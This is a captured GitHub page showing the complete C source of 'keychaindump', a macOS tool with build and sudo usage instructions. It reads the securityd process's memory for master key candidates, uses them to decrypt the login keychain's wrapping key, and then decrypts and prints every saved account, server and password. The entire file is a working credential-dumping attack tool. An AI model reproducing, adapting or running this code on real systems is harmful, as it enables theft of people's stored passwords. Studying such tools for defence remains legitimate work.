Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
tree: 11c964f0d3
@juuso
513 lines (422 sloc) 16.537 kB
// Build instructions:
// $ gcc keychaindump.c -o keychaindump -lcrypto
// Usage:
// $ sudo ./keychaindump [path to keychain file, leave blank for default]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <openssl/des.h>
#include <sys/sysctl.h>
// This structure's fields are pieced together from several sources,
// using the label as an identifier. See find_or_create_credentials.
typedef struct t_credentials {
char label[20];
char iv[8];
char key[24];
size_t ciphertext_len;
char *ciphertext;
char *server;
char *account;
char *password;
} t_credentials;
// Lazy limits to avoid reallocing / having to code fancy data storage.
#define MAX_CREDENTIALS 2048
#define MAX_MASTER_CANDIDATES 1024
t_credentials *g_credentials = 0;
int g_credentials_count = 0;
char **g_master_candidates = 0;
int g_master_candidates_count = 0;
// Writes a hex representation of the bytes in src to the dst buffer.
// The dst buffer must be at least len*2+1 bytes in size.
void hex_string(char *dst, char *src, size_t len) {
int i;
for (i = 0; i < len; ++i) {
sprintf(dst+i*2, "%02x", (unsigned char)src[i]);
}
}
// Saves a 24-byte sequence that might be a valid master key in the
// global list. Checks the existing list first to avoid duplicates.
void add_master_candidate(char *key) {
if (!g_master_candidates) {
g_master_candidates = malloc(MAX_MASTER_CANDIDATES * sizeof(char *));
}
// Key already known?
int i;
for (i = 0; i < g_master_candidates_count; ++i) {
if (!memcmp(key, g_master_candidates[i], 24)) return;
}
if (g_master_candidates_count < MAX_MASTER_CANDIDATES) {
char *new = malloc(24);
memcpy(new, key, 24);
g_master_candidates[g_master_candidates_count++] = new;
} else {
printf("[-] Too many candidate keys to fit in memory\n");
exit(1);
}
}
// Enumerates the system's process list to find the PID of securityd.
int get_securityd_pid() {
int mib[] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0};
size_t sz;
sysctl(mib, 4, NULL, &sz, NULL, 0);
struct kinfo_proc *procs = malloc(sz);
sysctl(mib, 4, procs, &sz, NULL, 0);
int proc_count = sz / sizeof(struct kinfo_proc);
int i, pid = 0;
for (i = 0; i < proc_count; ++i) {
struct kinfo_proc *proc = &procs[i];
if (!strcmp("securityd", proc->kp_proc.p_comm)) {
pid = proc->kp_proc.p_pid;
break;
}
}
free(procs);
return pid;
}
// Searches a memory range for anything that looks like a master encryption key
// and stores each found candidate in the global list of possible master keys.
void search_for_keys_in_task_memory(mach_port_name_t task, vm_address_t start, vm_address_t stop) {
size_t sz = stop - start;
char *buffer = malloc(sz);
if (!buffer) {
printf("[-] Could not allocate memory for key search\n");
exit(1);
}
size_t read_sz;
kern_return_t r = vm_read_overwrite(task, start, sz, (vm_address_t)buffer, &read_sz);
if (sz != read_sz) printf("[-] Requested %lu bytes, got %lu bytes\n", sz, read_sz);
if (r == KERN_SUCCESS) {
int i;
for (i = 0; i < read_sz - sizeof(unsigned long int); i += 4) {
unsigned long int *p = (unsigned long int *)(buffer + i);
// Look for an 8-byte size field with value 0x18, followed by an 8-byte
// pointer to the same memory range we are currently inspecting. Use
// the value the pointer points to as a candidate master key.
if (*p == 0x18) {
vm_address_t address = *(p + 1);
if (address >= start && address <= stop) {
char key[24 + 1];
key[24] = 0;
memcpy(key, buffer + address - start, 24);
add_master_candidate(key);
}
}
}
} else {
printf("[-] Error (%i) reading task memory @ %p\n", r, (void *)start);
}
free(buffer);
}
// Uses vmmap to enumerate memory ranges where the keys might be hidden
// and then searches each range individually for candidate master keys.
void search_for_keys_in_process(int pid) {
mach_port_name_t task;
task_for_pid(current_task(), pid, &task);
char cmd[128];
snprintf(cmd, 128, "vmmap %i", pid);
FILE *p = popen(cmd, "r");
char line[512];
vm_address_t start, stop;
while (fgets(line, 512, p)) {
if(sscanf(line, "MALLOC_TINY %lx-%lx", &start, &stop) == 2) {
printf("[*] Searching process %i heap range 0x%lx-0x%lx\n", pid, start, stop);
search_for_keys_in_task_memory(task, start, stop);
}
}
pclose(p);
}
// Returns an Apple Database formatted 32-bit integer from the given address.
int atom32(char *p) {
return ntohl(*(int *)p);
}
// Returns (creates, if necessary) a credentials struct for the given label.
t_credentials *find_or_create_credentials(char *label) {
if (!g_credentials) {
size_t sz = MAX_CREDENTIALS * sizeof(t_credentials);
g_credentials = malloc(sz);
memset(g_credentials, 0, sz);
}
int i;
for (i = 0; i < g_credentials_count; ++i) {
if (!memcmp(label, g_credentials[i].label, 20)) {
return &g_credentials[i];
}
}
if (g_credentials_count < MAX_CREDENTIALS) {
t_credentials *new = &g_credentials[g_credentials_count++];
memcpy(new->label, label, 20);
return new;
} else {
printf("[-] Too many credentials to fit in memory\n");
exit(1);
}
}
// Returns 0 for invalid padding, otherwise [1, 8].
size_t check_3des_plaintext_padding(char *plaintext, size_t len) {
char pad = plaintext[len-1];
if (pad < 1 || pad > 8) return 0;
int i;
for (i = 1; i < pad; ++i) {
if (plaintext[len-1-i] != pad) return 0;
}
return (size_t)pad;
}
// Returns 0 for invalid data, otherwise length of unpadded plaintext.
// The unpadded plaintext (if valid) is written to the "out" buffer.
size_t decrypt_3des(char *in, size_t len, char *out, char *key, char* iv) {
DES_cblock ckey1, ckey2, ckey3, civ;
DES_key_schedule ks1, ks2, ks3;
memcpy(civ, iv, 8);
memcpy(ckey1, &key[0], 8);
memcpy(ckey2, &key[8], 8);
memcpy(ckey3, &key[16], 8);
DES_set_key((C_Block *)ckey1, &ks1);
DES_set_key((C_Block *)ckey2, &ks2);
DES_set_key((C_Block *)ckey3, &ks3);
char *padded = malloc(len);
DES_ede3_cbc_encrypt((unsigned char *)in, (unsigned char *)padded, len, &ks1, &ks2, &ks3, &civ, DES_DECRYPT);
size_t out_len = 0;
size_t padding = check_3des_plaintext_padding(padded, len);
if (padding > 0) {
out_len = len - padding;
memcpy(out, padded, out_len);
}
free(padded);
return out_len;
}
// Attempts to decrypt the file's wrapping key with the given master key.
// Returns 0 if unsuccessful, 24 otherwise. The decrypted key is written
// to the "out" buffer, if valid. May produce false positives, as the
// 3DES padding is not a 100% reliable way to check validity.
int dump_wrapping_key(char *out, char *master, char *buffer, size_t sz) {
char magic[] = "\xfa\xde\x07\x11";
int offset;
// Instead of parsing the keychain file, just look for the last
// blob identified by the magic number and assume it is a DbBlob
for (offset = sz-4; offset >= 0; offset -= 4) {
if (!strncmp(magic, buffer + offset, 4)) break;
}
if (offset == 0) {
printf("[-] Could not find DbBlob\n");
exit(1);
}
char *blob = buffer + offset;
char iv[8];
memcpy(iv, blob + 64, 8);
char key[48];
int ciphertext_offset = atom32(blob + 8);
size_t key_len = decrypt_3des(blob + ciphertext_offset, 48, key, master, iv);
if (!key_len) return 0;
memcpy(out, key, 24);
return 24;
}
// Decrypts the password encryption key from an individual KeyBlob into
// the global credentials list.
void dump_key_blob(char *key, char *blob) {
int ciphertext_offset = atom32(blob + 8);
int blob_len = atom32(blob + 12);
char iv[8];
memcpy(iv, blob + 16, 8);
// The label is actually an attribute after the KeyBlob
char label[20];
memcpy(label, blob + blob_len + 8, 20);
if (strncmp(label, "ssgp", 4)) return;
int ciphertext_len = blob_len - ciphertext_offset;
if (ciphertext_len != 48) return;
// Decrypt the obfuscation IV layer
char tmp[48];
char obfuscationIv[] = "\x4a\xdd\xa2\x2c\x79\xe8\x21\x05";
size_t tmp_len = decrypt_3des(blob + ciphertext_offset, 48, tmp, key, obfuscationIv);
// Reverse the fist 32 bytes
int i;
char reverse[32];
for (i = 0; i < 32; ++i) {
reverse[31 - i] = tmp[i];
}
// Decrypt the real IV layer
tmp_len = decrypt_3des(reverse, 32, tmp, key, iv);
if (tmp_len != 28) return;
// Discard the first 4 bytes
t_credentials *cred = find_or_create_credentials(label);
memcpy(cred->key, tmp + 4, 24);
}
// Extracts the encrypted password and the srvr & acct attributes from
// the (probably table 8) record into the global credentials list.
void dump_credentials_data(char *record) {
int record_sz = atom32(record + 0);
int data_sz = atom32(record + 16);
// No attributes?
if (record_sz == 24 + data_sz) return;
int first_attribute_offset = atom32(record + 24) & 0xfffffffe;
int data_offset = first_attribute_offset - data_sz;
int attribute_count = (data_offset - 24) / 4;
// The correct table (8) has 20 attributes
if (attribute_count != 20) return;
char *data = record + data_offset;
size_t ciphertext_len = data_sz - 20 - 8;
if (ciphertext_len < 8) return;
if (ciphertext_len % 8 != 0) return;
char label[20];
char iv[8];
char *ciphertext = malloc(ciphertext_len);
memcpy(label, data + 0, 20);
memcpy(iv, data + 20, 8);
memcpy(ciphertext, data + 28, ciphertext_len);
t_credentials *cred = find_or_create_credentials(label);
memcpy(cred->iv, iv, 8);
cred->ciphertext = ciphertext;
cred->ciphertext_len = ciphertext_len;
// Attributes 13 and 15
int srvr_attribute_offset = atom32(record + 24 + 15*4) & 0xfffffffe;
int acct_attribute_offset = atom32(record + 24 + 13*4) & 0xfffffffe;
char *srvr_attribute = record + srvr_attribute_offset;
char *acct_attribute = record + acct_attribute_offset;
int srvr_len = atom32(srvr_attribute + 0);
int acct_len = atom32(acct_attribute + 0);
if (!srvr_len || !acct_len) return;
char *srvr = malloc(srvr_len + 1);
char *acct = malloc(acct_len + 1);
memset(srvr, 0, srvr_len + 1);
memset(acct, 0, acct_len + 1);
memcpy(srvr, srvr_attribute + 4, srvr_len);
memcpy(acct, acct_attribute + 4, acct_len);
cred->server = srvr;
cred->account = acct;
}
// Parses the keychain file (Apple Database) and traverses each record
// in each table, looking for two kinds of records: KeyBlobs and
// credentials data. The KeyBlobs contain encryption keys for each
// individual password ciphertext. The credentials data records contain
// the password ciphertexts and their IVs, as well as account and
// server attributes. The KeyBlobs are probably in table 6, and the
// credentials data records in table 8.
void dump_keychain(char *key, char *buffer) {
int i, j;
if (strncmp(buffer, "kych", 4)) {
printf("[-] The target file is not a keychain file\n");
return;
}
int schema_offset = atom32(buffer + 12);
char *schema = buffer + schema_offset;
// Traverse each table
int table_count = atom32(schema + 4);
for (i = 0; i < table_count; ++i) {
int table_offset = atom32(schema + 8 + i*4);
char *table = schema + table_offset;
// Traverse each record
int record_count = atom32(table + 8);
for (j = 0; j < record_count; ++j) {
int record_offset = atom32(table + 28 + j*4);
char *record = table + record_offset;
// Calculate the start of the data section
int record_sz = atom32(record + 0);
int data_sz = atom32(record + 16);
int data_offset = 24;
if (record_sz > 24 + data_sz) {
int first_attribute_offset = atom32(record + 24) & 0xfffffffe;
data_offset = first_attribute_offset - data_sz;
}
char *data = record + data_offset;
int magic = atom32(data + 0);
if (magic == 0xfade0711) {
dump_key_blob(key, data);
} else if (magic == 0x73736770) {
dump_credentials_data(record);
}
}
}
}
// Uses the information in the global credentials list to decrypt the
// password ciphertexts. Each set of credentials requires its own IV,
// key, and ciphertext for the decryption to work.
void decrypt_credentials() {
if (!g_credentials) return;
int i;
for (i = 0; i < g_credentials_count; ++i) {
t_credentials *cred = &g_credentials[i];
if (!cred->ciphertext) continue;
char *tmp = malloc(cred->ciphertext_len);
size_t tmp_len = decrypt_3des(cred->ciphertext, cred->ciphertext_len, tmp, cred->key, cred->iv);
if (tmp_len) {
cred->password = malloc(tmp_len + 1);
cred->password[tmp_len] = 0;
memcpy(cred->password, tmp, tmp_len);
}
free(tmp);
}
}
// Outputs all credentials in "account:server:password" format. Call
// after all the data has been dumped and the passwords decrypted.
void print_credentials() {
if (!g_credentials) return;
int i;
for (i = 0; i < g_credentials_count; ++i) {
t_credentials *cred = &g_credentials[i];
if (!cred->account && !cred->server) continue;
if (!strcmp(cred->account, "Passwords not saved")) continue;
printf("%s:%s:%s\n", cred->account, cred->server, cred->password);
}
}
int main(int argc, char **argv) {
// Phase 1. Search securityd's memory space for possible master keys.
// If the keychain file is unlocked, the real key should be in memory.
int pid = get_securityd_pid();
if (!pid) {
printf("[-] Could not find the securityd process\n");
exit(1);
}
if (geteuid()) {
printf("[-] No root privileges, please run with sudo\n");
exit(1);
}
search_for_keys_in_process(pid);
printf("[*] Found %i master key candidates\n", g_master_candidates_count);
if (!g_master_candidates_count) exit(1);
// Phase 2. Try decrypting the wrapping key with each master key candidate
// to see which one gives a valid result.
char filename[512];
if (argc < 2) {
sprintf(filename, "%s/Library/Keychains/login.keychain", getenv("HOME"));
} else {
sprintf(filename, "%s", argv[1]);
}
FILE *f = fopen(filename, "rb");
if (!f) {
printf("[-] Could not open %s\n", filename);
exit(1);
}
fseek(f, 0, SEEK_END);
size_t sz = ftell(f);
char *buffer = malloc(sz);
rewind(f);
fread(buffer, 1, sz, f);
fclose(f);
printf("[*] Trying to decrypt wrapping key in %s\n", filename);
char key[24];
int i, key_len = 0;
for (i = 0; i < g_master_candidates_count; ++i) {
char s_key[24*2+1];
hex_string(s_key, g_master_candidates[i], 24);
printf("[*] Trying master key candidate: %s\n", s_key);
if (key_len = dump_wrapping_key(key, g_master_candidates[i], buffer, sz)) {
printf("[+] Found master key: %s\n", s_key);
break;
}
}
if (!key_len) {
printf("[-] None of the master key candidates seemed to work\n");
exit(1);
}
char s_key[24*2+1];
hex_string(s_key, key, 24);
printf("[+] Found wrapping key: %s\n", s_key);
// Phase 3. Using the wrapping key, dump all credentials from the keychain
// file into the global credentials list and decrypt everything.
dump_keychain(key, buffer);
decrypt_credentials();
print_credentials();
free(buffer);
return 0;
}
Jump to Line
Something went wrong with that request. Please try again.